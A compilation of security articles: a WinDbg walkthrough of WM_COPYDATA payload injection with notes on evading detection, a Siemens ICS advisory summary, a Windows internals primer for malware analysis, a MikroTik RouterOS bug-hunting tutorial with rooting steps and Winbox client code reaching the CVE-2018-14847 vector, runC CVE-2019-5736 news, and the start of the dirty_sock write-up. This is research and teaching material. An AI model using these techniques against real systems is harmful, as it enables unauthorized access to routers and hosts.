rdx=000000000000004a rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62c16 rsp=0000009832caf5c0 rbp=0000009832caf829
 r8=00000000000c072e  r9=0000009832caf6c0 r10=0000009832caf678
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
00007ffd6af62c16 498b4a28        mov     rcx,qword ptr [r10+28h] ds:0000009832caf6a0=0000029258bbc070

0:000> u rcx
00007ff79cc131b0 4055            push    rbp
00007ff79cc131b2 53              push    rbx
00007ff79cc131b3 56              push    rsi
00007ff79cc131b4 57              push    rdi
00007ff79cc131b5 4154            push    r12
00007ff79cc131b7 4155            push    r13
00007ff79cc131b9 4156            push    r14
00007ff79cc131bb 4157            push    r15

We see a pointer to COPYDATASTRUCT is placed in r9.

0:000> dps r9
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000009832caf6f0
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049
0000009832caf6f8  002000740027006e
0000009832caf700  0077006f006e006b
0000009832caf708  0061006800770020
0000009832caf710  006f007400200074
0000009832caf718  0079006100730020
0000009832caf720  00000000000a0021
0000009832caf728  00007ffd6af61b0b USER32!GetMessageW+0x2b
0000009832caf730  0000009800000000
0000009832caf738  0000000000000001

This structure is defined in the debugging symbols, so we can dump it showing the values it contains.

0:000> dt uxtheme!COPYDATASTRUCT 0000009832caf6c0
   +0x000 dwData           : 1
   +0x008 cbData           : 0x34
   +0x010 lpData           : 0x0000009832caf6f0 Void

Finally, examine the lpData field that should contain the string we sent from process A.

0:000> du poi(0000009832caf6c0+10)
0000009832caf6f0  "I don't know what to say!."

We can see this address belongs to the stack allocated when thread was created.

0:000> !address 0000009832caf6f0

Usage:                  Stack
Base Address:           0000009832c9f000
End Address:            0000009832cb0000
Region Size:            0000000000011000 (  68.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        0000009832c30000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              ~0k

Examining the Thread Information Block (TIB) that is located in the Thread Environment Block (TEB) provides us with the StackBase and StackLimit.

0:001> dx -r1 (*((uxtheme!_NT_TIB *)0x9832e4a000))
(*((uxtheme!_NT_TIB *)0x9832e4a000))                 [Type: _NT_TIB]
    [+0x000] ExceptionList    : 0x0 [Type: _EXCEPTION_REGISTRATION_RECORD *]
    [+0x008] StackBase        : 0x9832cb0000 [Type: void *]
    [+0x010] StackLimit       : 0x9832c9f000 [Type: void *]
    [+0x018] SubSystemTib     : 0x0 [Type: void *]
    [+0x020] FiberData        : 0x1e00 [Type: void *]
    [+0x020] Version          : 0x1e00 [Type: unsigned long]
    [+0x028] ArbitraryUserPointer : 0x0 [Type: void *]
    [+0x030] Self             : 0x9832e4a000 [Type: _NT_TIB *]

OK, we can use WM_COPYDATA to deploy a payload into a target process IF it has a GUI attached to it, but it’s not useful unless we can execute it. Moreover, the stack is a volatile area of memory and therefore unreliable to use as a code cave. To execute it would require locating the exact address and using a ROP chain. By the time the ROP chain is executed, there’s no guarantee the payload will still be intact. So, we probably can’t use WM_COPYDATA on this occasion, but it’s worth remembering there are likely many ways of sharing a payload with another process using legitimate API that are less suspicious than using WriteProcessMemory or NtWriteVirtualMemory.

In the case of WM_COPYDATA, one would still need to determine the exact address in stack of payload. Contents of the Thread Environment Block (TEB) can be retrieved via the NtQueryThreadInformation API using the ThreadBasicInformation class. After reading the TebAddress, the StackLimit and StackBase values can be read. In any case, the volatility of the stack means the payload would likely be overwritten before being executed.


Avoiding the conventional API used to deploy and execute a payload all increase the difficulty of detection. PowerLoader used a code cave in existing section object and a ROP chain for execution. PowerLoaderEx, which is a PoC used the desktop heap, while the AtomBombing PoC uses a code cave in .data section of a DLL.

Siemens Warns of Critical Remote-Code Execution ICS Flaw

Original text

The affected SICAM 230 process control system is used as an integrated energy system for utility companies, and as a monitoring system for smart-grid applications.

Siemens has released 16 security advisories for various industrial control and utility products, including a warning for a critical flaw in the WibuKey digital rights management (DRM) solution that affects the SICAM 230 process control system.

SICAM 230 is used for a broad range of industrial control system (ICS) applications, including use as an integrated energy system for utility companies, and a monitoring system for smart-grid applications.

One of the flaws affecting SICAM 230 is rated critical, with a CVSS v.3 score of 10: CVE-2018-3991 allows a specially crafted TCP packet sent to port 22347/tcp to cause a heap overflow, potentially leading to remote code-execution.

Another, CVE-2018-3990, has a CVSS score of 9.3. It allows a specially crafted I/O request packet to cause a buffer overflow, resulting in kernel memory corruption and, potentially, privilege-escalation.

Users should apply the WibuKey DRM updates to v. 6.5 provided by WIBU Systems to mitigate the issues; the critical CVE-2018-3991 meanwhile can also be mitigated by blocking port 22347/tcp on an external firewall.

Other Vulnerabilities

Other flaws of note amid the 16 advisories include three denial-of-service vulnerabilities with a CVSS v3.0 score of 7.5 in the EN100 Ethernet Communication Module and SIPROTEC 5 relays.

One of those is a vulnerability that affects the network functionality of the devices (CVE-2018-16563), thus rendering them unavailable, Siemens said in its advisory.

Another denial-of-service vulnerability (CVE-2018-11451) would allow an attacker to send specially crafted packets to port 102/tcp to cause a denial-of-service condition, requiring a manual restart.

A third flaw (CVE-2018-11452) would allow an attacker to send specially crafted packets to port 102/tcp to cause a denial-of-service condition in the EN100 communication module if oscillographs are running, also requiring a manual restart.

In all three cases, as a precondition, the IEC 61850-MMS communication needs to be activated on the affected EN100 modules; but no user interaction or privileges are required to exploit them.

Meanwhile, a firmware downgrade vulnerability (CVE-2018-4838) in EN100 Ethernet Communication Module for SIPROTEC 4, SIPROTEC Compact and Reyrolle also carries a CVSS v.3.0 score of 7.5. The web interface (TCP/80) of affected devices allows an unauthenticated user to upgrade or downgrade the firmware of the device, including to older versions with known vulnerabilities.

And finally, several industrial products (the SIMATIC line, SIMOTION and SINAMICs lines, and development/evaluation kits for PROFINET) are affected by a vulnerability (CVE-2017-12741) that could allow remote attackers to conduct a denial-of-service attack by sending specially crafted packets to port 161/udp (SNMP).

Siemens has released updates for some of the affected products, is working on updates for the remaining affected products. For CVE-2018-16563, the company recommends blocking access to port 102/tcp with an external firewall until fixes are available. For some products affected by CVE-2017-12741, users can disable SNMP, which fully mitigates the vulnerability.

Windows Internals

Original text

To understand how malware can use and manipulate Windows then, we need to better understand the inner workings of the Windows operating system. In this article, we will examine the inner workings or Windows 32-bit systems so that we can better understand how malware can use the operating system for its malicious purposes.

Windows internals could fill several textbooks (and has), so I will attempt to just cover the most important topics and only in a cursory way. I hope to leave you with enough information though, that you can effectively reverse the malware in the following articles.

Virtual Memory

Virtual memory is the idea that instead of software directly accessing the physical memory, the CPU and the operating system create an invisible layer between the software and the physical memory.

The OS creates a table that the CPU consults called the page table that directs the process to the location of the physical memory that it should use.

Processors divide memory into pages

Pages are fixed sized chunks of memory. Each entry in the page table references one page of memory. In general, 32 -bit processors use 4k sized pages with some exceptions.

Kernel v User Mode

Having a page table enables the processor to enforce rules on how memory will be  accessed. For instance, page table entries often have flags that determine whether the page can be accessed from a non-privileged mode (user mode).

In this way, the operating system’s code can reside inside the process’s address space without concern that it will be accessed by non-privileged processes. This protects the operating system’s sensitive data.

This distinction between privileged vs. non-privileged mode becomes kernel (privileged) and non-privileged (user) modes.

Kernel memory Space

The kernel reserves 2gb of address space for itself. This address space contains all the kernel code, including the kernel itself and any other kernel components such as device drivers.


Paging is the process where memory regions are temporarily flushed to the hard drive when they have not been used recently. The processor tracks the time since a page of memory was last used and the oldest is flushed.  Obviously, physical memory is faster and more expensive than space on the hard drive.

The windows operating system tracks when a page was last accessed and then uses that information to locate pages that haven’t been accessed in a while. Windows then flushes their content to a file. The contents of the flushed pages can then be discarded and the space used by other information. When the operating system needs to access these flushed pages, a page fault will be generated and then system then does that the  information has «paged out» to a file. Then, the operating system will access the page file and pull the information back into memory to be used.

Objects and Handles

The Windows kernel manages objects using a centralized object manager component. This object manager is responsible for all kernel objects such as sections, files, and device objects, synchronization objects, processes and threads. It ONLY manages kernel objects.

GUI-related objects are managed by separate object managers that are implemented inside WIN32K.SYS

Kernel code typically accesses objects using direct pointers to the object data structures. Applications use handles for accessing individual objects


A handle is process specific numeric identifier which is an index into the processes private handle table. Each entry in the handle table contains a pointer to the underlying object, which is how the system associates handles with objects. Each handle entry also contains an access mask that determines which types of operations that can be performed on the object using this specific handle.


A process is really just an isolated memory address space that is used to run a program. Address spaces are created for every program to make sure that each program runs in its own address space without colliding with other processes. Inside a processes’ address space the system can load code modules, but must have at latest one thread running to do so.

Process Initialization

The creation of the process object and the new address space is the first step. When a new process calls the Win32 API CreateProcess, the API creates a process object and allocates a new memory address space for the process.

CreateProcess maps NTDLL.DLL and the program executable (the .exe file) into the newly created address space. CreateProcess creates the process’s first thread and allocates stack space it. The processes first thread is resumed and starts running in the LdrpInitialization function inside NTDLL.DLL

LdrpInitialization recursively traverses the primary executable’s import tables and maps them to memory every executable that is required.

At this point, control passes into LdrpRunInitializeRoutines, which is an internal NTDLL routine responsible for initializing all statically linked DLL’s currently loaded into the address space. The initialization process consists of a link each DLL’s entry point with the DLL_PROCESS_ATTACH constant. Once all the DLL’s are initialized, LdrpInitialize calls the thread’s real initialization routine, which is the BaseProcessStart function from KERNELL32.DLL. This function in turn calls the executable’s WinMain entry point, at which point the process has completed it’s initialization sequence.


At ant given moment, each processor in the system is running one thread. Instead of continuing to run a single piece of code until it completes, Windows can decide to interrupt a running thread at given given time and switch to execution of another thread.

A thread is a data structure that has a CONTEXT data structure.  This CONTEXT includes;

(1) the state of the processor when the thread last ran

(2) one or two memory blocks that are used for stack space

(3) stack space is used to save off current state of thread when                   context switched

(4) components that manage threads in windows are the scheduler and the dispatcher

(5) Deciding which thread get s to run for how long and perform context switch

Context Switch

Context switch is the thread interruption. In some cases, threads just give up the CPU on their own and the kernel doesn’t have to interrupt. Every thread is assigned a quantum, which quantifies has long the the thread can run without interruption. Once the quantum expires, the thread is interrupted and other threads are allowed to run. This entire process is transparent  to thread. The kernel then stores the state of the CPU registers before suspending and then restores that register state when the thread is resumed.

Win32 API

An API is a set of functions that the operating system makes available to application programs for communicating with the OS. The Win32 API is a large set of functions that make up the official low-level programming interface for Windows applications. The MFC is a common interface to the Win32 API.

The three main components of the  Win 32 API  are;

(1) Kernel or Base API’s: These are the non GUI related services such as I/O, memory, object and process an d thread management

(2) GDI API’s : these include low-level graphics services such a s those for drawing a line, displaying bitmap, etc.

(3) USER API’s : these are the higher level GUI-related services such as window management, menus, dialog boxes, user-interface controls.

System Calls

A system call is when a user mode code needs to cal a kernel mode function. This usually happens when an application calls an operating system API. User mode code invokes a special CPU instruction that tells the processor to switch to its privileged mode and call a dispatch routine. This dispatch routine then calls the specific system function requested from user mode.

PE Format

The Windows executable format is a PE (portable Executable). The term «portable» refers to format’s versatility in numerous environments and architectures.

Executable files are relocatable. This means that they could be loaded at a different virtual address each time they are loaded. An executable must coexist with other executables that are loaded in the same memory address.  Other than the main executable, every program has a certain number of additional executables loaded into its address space regardless of whether it has DLL’s of its own or not.

Relocation Issues

If two excutables attempt to be loaded into the same virtual space, one must be relocated to another virtual space. each executable is module is assigned a base address and if something is already there, it must be relocated.

There are never absolute memory addresses in executable headers, those only exist in the code. To make this work, whenever there is a pointer inside the executable header, it is always a relative virtual address (RVA).  Think of this as simply an offset. When the file is loaded, it is assigned a virtual address and the loaded calculates real virtual addresses out of RVA’s by adding the modules base address to an RVA.

Image Sections

An executable section is divided into individual sections in which the file’s contents are stored. Sections are needed because different areas in the file are treated differently by the memory manager when a module is loaded. This division takes place in the code section (also called text) containing the executable’s code and a data section containing the executable’s data.

When loaded, the memory manager sets the access rights on memory pages in the different sections based on their settings in the section header.

Section Alignment

Individual sections often have different access settings defined in the executable header. The memory manager must apply these access settings when an executable image is loaded. Sections must typically be page aligned when an executable is loaded into memory. It would take extra space on disk to page align sections on disk. Therefore, the PE header has two different kinds of alignment fields, section alignment and file alignment.


DLL’s allow a program to be broken into more than one executable file. In this way, overall memory consumption is reduced, executables are not loaded until features they implement are required. Individual components can be replaced or upgraded to modify or improve a certain aspect of the program.

DLL’s can dramatically reduce overall system memory consumption because the system can detect that a certain executable has been loaded into more than one address space, then map it into each address space instead of reloading it into a new memory location. DLL’s are different from static libraries (.lib) which linked to the executable.

Loading DLL’s

Static Linking is implemented by having each module list the the modules it uses and the functions it calls within each module. This is known as an import table (see IDA Pro tutorial). Run time linking refers to a different process whereby an executable can decide to load another executable in runtime and call a function from that executable.

PE Headers

A Portable Executable (PE) file starts with a DOS header.

  «This program cannot be run in DOS mode»

typedef struct _IMAGE_NT_HEADERS {

    DWORD Signature;

    IMAFE_FILE_HEADER Fileheader;



This data structure references two data structures which contain the actual PE header.

Imports and Exports

Imports and Exports are the mechanisms that enable the dynamic linking process of executables. The compiler has no idea of the actual addresses of the imported functions, only in runtime will these addresses be known. To solve this issue, the linker creates a import table that lists all the functions imported by the current module by their names.

Make It Rain with MikroTik

Original text by Jacob Baines

Can you hear me in the… front?

I came into work to find an unusually high number of private Slack messages. They all pointed to the same tweet.

Why would this matter to me? I gave a talk at Derbycon about hunting for bugs in MikroTik’s RouterOS. I had a 9am Sunday time slot.

You don’t want a 9am Sunday time slot at Derbycon

Now that Zerodium is paying out six figures for MikroTik vulnerabilities, I figured it was a good time to finally put some of my RouterOS bug hunting into writing. Really, any time is a good time to investigate RouterOS. It’s a fun target. Hell, just preparing this write up I found a new unauthenticated vulnerability. You could too.

Laying the Groundwork

Now I know you’re already looking up Rolex prices, but calm down, Sparky. You still have work to do. Even if you’re just planning to download a simple fuzzer and pray for a pay day, you’ll still need to read this first section.

Acquiring Software

You don’t have to rush to Amazon to acquire a router. MikroTik makes RouterOS ISOs available on their website. The ISO can be used to create a virtual host with VirtualBox or VMWare.

Naturally, Mikrotik published 6.42.12 the day I published this blog

You can also extract the system files from the ISO.

albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: mikrotik-6.42.11.iso
Extracting  advanced-tools-6.42.11.npk
Extracting calea-6.42.11.npk
Extracting defpacks
Extracting dhcp-6.42.11.npk
Extracting dude-6.42.11.npk
Extracting gps-6.42.11.npk
Extracting hotspot-6.42.11.npk
Extracting ipv6-6.42.11.npk
Extracting isolinux
Extracting isolinux/
Extracting isolinux/initrd.rgz
Extracting isolinux/isolinux.bin
Extracting isolinux/isolinux.cfg
Extracting isolinux/linux
Extracting isolinux/TRANS.TBL
Extracting kvm-6.42.11.npk
Extracting lcd-6.42.11.npk
Extracting LICENSE.txt
Extracting mpls-6.42.11.npk
Extracting multicast-6.42.11.npk
Extracting ntp-6.42.11.npk
Extracting ppp-6.42.11.npk
Extracting routing-6.42.11.npk
Extracting security-6.42.11.npk
Extracting system-6.42.11.npk
Extracting TRANS.TBL
Extracting ups-6.42.11.npk
Extracting user-manager-6.42.11.npk
Extracting wireless-6.42.11.npk
Extracting [BOOT]/Bootable_NoEmulation.img
Everything is Ok
Folders: 1
Files: 29
Size: 26232176
Compressed: 26335232

MikroTik packages a lot of their software in their custom .npk format. There’s a tool that’ll unpack these, but I prefer to just use binwalk.

albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9842177 0x962E01 Unix path: /sys/devices/system/cpu
9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9904147 0x972013 Unix path: /sys/devices/system/cpu
9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
9928138 0x977DCA CRC32 polynomial table, little endian
9932234 0x978DCA CRC32 polynomial table, big endian
9958962 0x97F632 xz compressed data
12000822 0xB71E36 xz compressed data
12003148 0xB7274C xz compressed data
12104110 0xB8B1AE xz compressed data
13772462 0xD226AE xz compressed data
13790464 0xD26D00 xz compressed data
15613512 0xEE3E48 xz compressed data
15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var

Hack the Box

When looking for vulnerabilities it’s helpful to have access to the target’s filesystem. It’s also nice to be able to run tools, like GDB, locally. However, the shell that RouterOS offers isn’t a normal unix shell. It’s just a command line interface for RouterOS commands.

Who am I?!

Fortunately, I have a work around that will get us root. RouterOS will execute anything stored in the /rw/DEFCONF file due the way the rc.d script S12defconf is written.

Friends don’t let friends use eval

A normal user has no access to that file, but thanks to the magic of VMs and Live CDs you can create the file and insert any commands you want. The exact process takes too many words to explain. Instead I made a video. The screen recording is five minutes long and it goes from VM installation all the way through root telnet access.

With root telnet access you have full control of the VM. You can upload more tooling, attach to processes, watch logs, etc. You’re now ready to explore the router’s attack surface.

Is Anyone Listening?

You can quickly determine the network reachable attack surface thanks to the ps command.

Looks like the router listens on some well known ports (HTTP, FTP, Telnet, and SSH), but also some lesser known ports. btest on port 2000 is the bandwidth-test server. mproxy on 8291 is the service that WinBox interfaces with. WinBox is an administrative tool that runs on Windows. It shares all the same functionality as the Telnet, SSH, and HTTP interfaces.

Hello, I load .dll straight off the router. Yes, that has been a problem. Why do you ask?

The Real Attack Surface

The ps output makes it appear as if there are only a few binaries to bug hunt in. But nothing could be further from the truth. Both the HTTP server and Winbox speak a custom protocol that I’ll refer to as WinboxMessage (the actual code calls it nv::message). The protocol specifies which binary a message should be routed to. In truth, with all packages installed, there are about 90 different network reachable binaries that use the WinboxMessage protocol.

There’s also an easy way to figure out which binaries I’m referring to. A list can be found in each package’s /nova/etc/loader/*.x3 file. x3 is a custom file format so I wrote a parser. The example output goes on for a while so I snipped it a bit.

albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3 

The x3 file also contains each binary’s “SYS TO” identifier. This is the identifier that the WinboxMessage protocol uses to determine where a message should be handled.

Me Talk WinboxMessage Pretty One Day

Knowing which binaries you should be able to reach is useful, but actually knowing how to communicate with them is quite a bit more important. In this section, I’ll walk through a couple of examples.

Getting Started

Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some code. I’ve written a bunch of C++ that will do all of the WinboxMessage protocol formatting and session handling. I’ve also created a skeleton programthat you can build off of. main is pretty bare.

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
std::cerr << "Failed to connect to the remote host"
<< std::endl;

You can see the Winbox_Session class is responsible for connecting to the router. It’s also responsible for authentication logic as well as sending and receiving messages.

Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier of 17. In order to reach undo, you need to update the code to create a message and set the appropriate SYS TO identifier (the new part is bolded).

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
std::cerr << "Failed to connect to the remote host"
<< std::endl;
WinboxMessage msg;

Command and Control

Each message also requires a command. As you’ll see in a little bit, each command will invoke specific functionality. There are some builtin commands (0xfe0000–0xfe00016) used by all handlers and some custom commands that have unique implementations.

Pop /nova/bin/undo into a disassembler and find the nv::Looper::Looperconstructor’s only code cross reference.

Follow the offset to vtable that I’ve labeled undo_handler and you should see the following.

This is the vtable for undo’s WinboxMessage handling. A bunch of the functions directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is handled by nv::Handler::cmdGetPolicies). You can also see I’ve highlighted the unknown command function. Non-builtin commands get implemented there.

Since the non-builtin commands are usually the most interesting, you’re going to jump into cmdUnknown. You can see it starts with a command based jump table.

It looks like the commands start at 0x80001. Looking through the code a bit, command 0x80002 appears to have a useful string to test against. Let’s see if you can reach the “nothing to redo” code path.

You need to update the skeleton code to request command 0x80002. You’ll also need to add in the send and receive logic. I’ve bolded the new part.

WinboxMessage msg;
std::cout << "req: " << msg.serialize_to_json() << std::endl;
if (!winboxSession.receive(msg))
std::cerr << "Error receiving a response." << std::endl;
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

if (msg.has_error())
std::cerr << msg.get_error_string() << std::endl;

After compiling and executing the skeleton you should get the expected, “nothing to redo.”

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
nothing to redo

There’s Rarely Just One

In the previous example, you looked at the main handler in undo which was addressable simply as 17. However, the majority of binaries have multiple handlers. In the following example, you’ll examine /nova/bin/mproxy’s handler #2. I like this example because it’s the vector for CVE-2018–14847and it helps demystify these weird binary blobs:

My exploit for CVE-2018–14847 delivers a root shell. Just sayin’.

Hunting for Handlers

Open /nova/bin/mproxy in IDA and find the nv::Looper::addHandler import. In 6.42.11, there are only two code cross references to addHandler. It’s easy to identify the handler you’re interested in, handler 2, because the handler identifier is pushed onto the stack right before addHandler is called.

If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for the handler’s vtable. This structure should look very familiar:

Again, I’ve highlighted the unknown command function. The unknown command function for this handler supports seven commands:

  1. Opens a file in /var/pckg/ for writing.
  2. Writes to the open file.
  3. Opens a file in /var/pckg/ for reading.
  4. Reads the open file.
  5. Cancels a file transfer.
  6. Creates a directory in /var/pckg/.
  7. Opens a file in /home/web/webfig/ for reading.

Commands 4, 5, and 7 do not require authentication.

Open a File

Let’s try to open a file in /home/web/webfig/ with command 7. This is the command that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the handling of command 7 in the code, you’ll see the first thing it looks for is a string with the id of 1.

The string is the filename you want to open. What file in /home/web/webfig is interesting?

The real answer is “none of them” look interesting. But list contains a list of the installed packages and their version numbers.

Let’s translate the open file request into WinboxMessage. Returning to the skeleton program, you’ll want to overwrite the set_to and set_commandcode. You’ll also want to insert the add_string. I’ve bolded the new portion again.

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
std::cerr << "Failed to connect to the remote host"
<< std::endl;
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.add_string(1, "list"); // the file to open

std::cout << "req: " << msg.serialize_to_json() << std::endl;
if (!winboxSession.receive(msg))
std::cerr << "Error receiving a response." << std::endl;
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

When running this code you should see something like this:

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}

You can see the response from the server contains u2:1818. Look familiar?

1818 is the size of the list

As this is running quite long, I’ll leave the exercise of reading the file’s content up to the reader. This very simple CVE-2018–14847 proof of concept contains all the hints you’ll need.


I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the attack surface and taught you how to navigate the system binaries. I’ve given you a library to handle Winbox communication and shown you how to use it. If you want to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise, you now know enough to be dangerous.

Good luck and happy hacking!

SensorsTechForum NEWSTHREAT REMOVALREVIEWSFORUMSSEARCH NEWS CVE-2019-5736 Linux Flaw in runC Allows Unauthorized Root Access

Original text by Milena Dimitrova

CVE-2019-5736 is yet another Linux vulnerability discovered in the core runC container code. The runC tool is described as a lightweight, portable implementation of the Open Container Format (OCF) that provides container runtime.

CVE-2019-5736 Technical Details

The security flaw potentially affects several open-source container management systems. Shortly said, the flaw allows attackers to get unauthorized, root access to the host operating system, thus escaping Linux container.

In more technical terms, the vulnerability:

allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe, as explained in the official advisory.

The CVE-2019-5736 vulnerability was unearthed by open source security researchers Adam Iwaniuk and Borys Popławski. However, it was publicly disclosed by Aleksa Sarai, a senior software engineer and runC maintainer at SUSE Linux GmbH on Monday.

“I am one of the maintainers of runc (the underlying container runtime underneath Docker, cri-o, containerd, Kubernetes, and so on). We recently had a vulnerability reported which we have verified and have a
patch for,” Sarai wrote.

The researcher also said that a malicious user would be able to run any command (it doesn’t matter if the command is not attacker-controlled) as root within a container in either of these contexts:

– Creating a new container using an attacker-controlled image.
– Attaching (docker exec) into an existing container which the attacker had previous write access to.

It should also be noted that CVE-2019-5736 isn’t blocked by the default AppArmor policy, nor
by the default SELinux policy on Fedora[++], due to the fact that container processes appear to be running as container_runtime_t.

Nonetheless, the flaw is blocked through correct use of user namespaces where the host root is not mapped into the container’s user namespace.

 Related: CVE-2018-14634: Linux Mutagen Astronomy Vulnerability Affects RHEL and Cent OS Distros

CVE-2019-5736 Patch and Mitigation

Red Hat says that the flaw can be mitigated when SELinux is enabled in targeted enforcing mode, a condition which comes by default on RedHat Enterprise Linux, CentOS, and Fedora.

There’s also a patch released by the maintainers of runC available on GitHub. Please note that all projects which are based on runC should apply the patches themselves.

Who’s Affected?

Debian and Ubuntu are vulnerable to the vulnerability, as well as container systems running LXC, a Linux containerization tool prior to Docker. Apache Mesos container code is also affected.

Companies such as Google, Amazon, Docker, and Kubernetes are have also released fixes for the flaw.

Privilege Escalation in Ubuntu Linux (dirty_sock exploit)

Original text by Chris Moberly

In January 2019, I discovered a privilege escalation vulnerability in default installations of Ubuntu Linux. This was due to a bug in the snapd API, a default service. Any local user could exploit this vulnerability to obtain immediate root access to the system.

Two working exploits are provided in the dirty_sock repository:

  1. dirty_sockv1: Uses the ‘create-user’ API to create a local user based on details queried from the Ubuntu SSO.
  2. dirty_sockv2: Sideloads a snap that contains an install-hook that generates a new local user.

Both are effective on default installations of Ubuntu. Testing was mostly completed on 18.10, but older verions are vulnerable as well.

The snapd team’s response to disclosure was swift and appropriate. Working with them directly was incredibly pleasant, and I am very thankful for their hard work and kindness. Really, this type of interaction makes me feel very good about being an Ubuntu user myself.


snapd serves up a REST API attached to a local UNIX_AF socket. Access control to restricted API functions is accomplished by querying the UID associated with any connections made to that socket. User-controlled socket peer data can be affected to overwrite a UID variable during string parsing in a for-loop. This allows any user to access any API function.

With access to the API, there are multiple methods to obtain root. The exploits linked above demonstrate two possibilities.

Background — What is Snap?

In an attempt to simplify packaging applications on Linux systems, various new competing standards are emerging. Canonical, the makers of Ubuntu Linux, are promoting their “Snap” packages. This is a way to roll all application dependencies into a single binary — similar to Windows applications.

The Snap ecosystem includes an “app store” where developers can contribute and maintain ready-to-go packages.

Management of locally installed snaps and communication with this online store are partially handled by a systemd service called “snapd”. This service is installed automatically in Ubuntu and runs under the context of the “root” user. Snapd is evolving into a vital component of the Ubuntu OS, particularly in the leaner spins like “Snappy Ubuntu Core” for cloud and IoT.

Vulnerability Overview

Interesting Linux OS Information

The snapd service is described in a systemd service unit file located at /lib/systemd/system/snapd.service.

Here are the first few lines:

Description=Snappy daemon

This leads us to a systemd socket unit file, located at /lib/systemd/system/snapd.socket

The following lines provide some interesting information:


Linux uses a type of UNIX domain socket called “AF_UNIX” which is used to communicate between processes on the same machine. This is in contrast to “AF_INET” and “AF_INET6” sockets, which are used for processes to communicate over a network connection.

The lines shown above tell us that two socket files are being created. The ‘0666’ mode is setting the file permissions to read and write for all, which is required to allow any process to connect and communicate with the socket.

We can see the filesystem representation of these sockets here:

$ ls -aslh /run/snapd*
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd-snap.socket
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd.socket

